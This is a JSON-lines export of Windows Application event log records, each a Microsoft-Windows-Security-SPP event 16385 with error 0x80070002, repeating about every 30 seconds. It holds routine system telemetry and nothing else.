{"@timestamp":1659021508324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172700}}
{"@timestamp":1659021538330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172701}}
{"@timestamp":1659021568337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172702}}
{"@timestamp":1659021598343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172703}}
{"@timestamp":1659021628350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172704}}
{"@timestamp":1659021658357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172705}}
{"@timestamp":1659021688364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172706}}
{"@timestamp":1659021718373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172707}}
{"@timestamp":1659021748381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172708}}
{"@timestamp":1659021778388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172709}}
{"@timestamp":1659021808394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172710}}
{"@timestamp":1659021838401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172711}}
{"@timestamp":1659021868408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172712}}
{"@timestamp":1659021898415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172713}}
{"@timestamp":1659021928423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172714}}
{"@timestamp":1659021958429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172715}}
{"@timestamp":1659021988437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172716}}
{"@timestamp":1659022018443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172717}}
{"@timestamp":1659022048449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172718}}
{"@timestamp":1659022078455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172719}}
{"@timestamp":1659022108461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172720}}
{"@timestamp":1659022138467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172721}}
{"@timestamp":1659022168474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172722}}
{"@timestamp":1659022198481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172723}}
{"@timestamp":1659022228487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172724}}
{"@timestamp":1659022258493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172725}}
{"@timestamp":1659022288501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172726}}
{"@timestamp":1659022318508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172727}}
{"@timestamp":1659022348515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172728}}
{"@timestamp":1659022378521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172729}}
{"@timestamp":1659022408527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172730}}
{"@timestamp":1659022438533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172731}}
{"@timestamp":1659022468539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172732}}
{"@timestamp":1659022498547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172733}}
{"@timestamp":1659022528553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172734}}
{"@timestamp":1659022558558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172735}}
{"@timestamp":1659022588566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172736}}
{"@timestamp":1659022618572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172737}}
{"@timestamp":1659022648579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172738}}
{"@timestamp":1659022678585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172739}}
{"@timestamp":1659022708591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172740}}
{"@timestamp":1659022738599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172741}}
{"@timestamp":1659022768605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172742}}
{"@timestamp":1659022798613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172743}}
{"@timestamp":1659022828619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172744}}
{"@timestamp":1659022858627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172745}}
{"@timestamp":1659022888634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172746}}
{"@timestamp":1659022918641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172747}}
{"@timestamp":1659022948648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172748}}
{"@timestamp":1659022978654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172749}}
{"@timestamp":1659023008661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172750}}
{"@timestamp":1659023038668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172751}}
{"@timestamp":1659023068674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172752}}
{"@timestamp":1659023098681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172753}}
{"@timestamp":1659023128687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172754}}
{"@timestamp":1659023158694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172755}}
{"@timestamp":1659023188700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172756}}
{"@timestamp":1659023218707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172757}}
{"@timestamp":1659023248712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172758}}
{"@timestamp":1659023278718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172759}}
{"@timestamp":1659023308724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172760}}
{"@timestamp":1659023338730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172761}}
{"@timestamp":1659023368737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172762}}
{"@timestamp":1659023398743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172763}}
{"@timestamp":1659023428749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172764}}
{"@timestamp":1659023458756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172765}}
{"@timestamp":1659023488762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172766}}
{"@timestamp":1659023518768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172767}}
{"@timestamp":1659023548774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172768}}
{"@timestamp":1659023578781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172769}}
{"@timestamp":1659023608786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172770}}
{"@timestamp":1659023638794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172771}}
{"@timestamp":1659023668800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172772}}
{"@timestamp":1659023698806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172773}}
{"@timestamp":1659023728813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172774}}
{"@timestamp":1659023758819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172775}}
{"@timestamp":1659023788825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172776}}
{"@timestamp":1659023818832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172777}}
{"@timestamp":1659023848839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172778}}
{"@timestamp":1659023878844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172779}}
{"@timestamp":1659023908854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172780}}
{"@timestamp":1659023938860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172781}}
{"@timestamp":1659023968867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172782}}
{"@timestamp":1659023998874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172783}}
{"@timestamp":1659024028880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172784}}
{"@timestamp":1659024058886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172785}}
{"@timestamp":1659024088892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172786}}
{"@timestamp":1659024118899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172787}}
{"@timestamp":1659024148905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172788}}
{"@timestamp":1659024178912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172789}}
{"@timestamp":1659024208919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172790}}
{"@timestamp":1659024238925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172791}}
{"@timestamp":1659024268929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172792}}
{"@timestamp":1659024298935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172793}}
{"@timestamp":1659024328941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172794}}
{"@timestamp":1659024358946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172795}}
{"@timestamp":1659024388951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172796}}
{"@timestamp":1659024418956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172797}}
{"@timestamp":1659024448961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172798}}
{"@timestamp":1659024478967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172799}}
{"@timestamp":1659024508973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172800}}
{"@timestamp":1659024538978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172801}}
{"@timestamp":1659024568984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172802}}
{"@timestamp":1659024598990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172803}}
{"@timestamp":1659024628996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172804}}
{"@timestamp":1659024659003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172805}}
{"@timestamp":1659024689009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172806}}
{"@timestamp":1659024719016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172807}}
{"@timestamp":1659024749023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172808}}
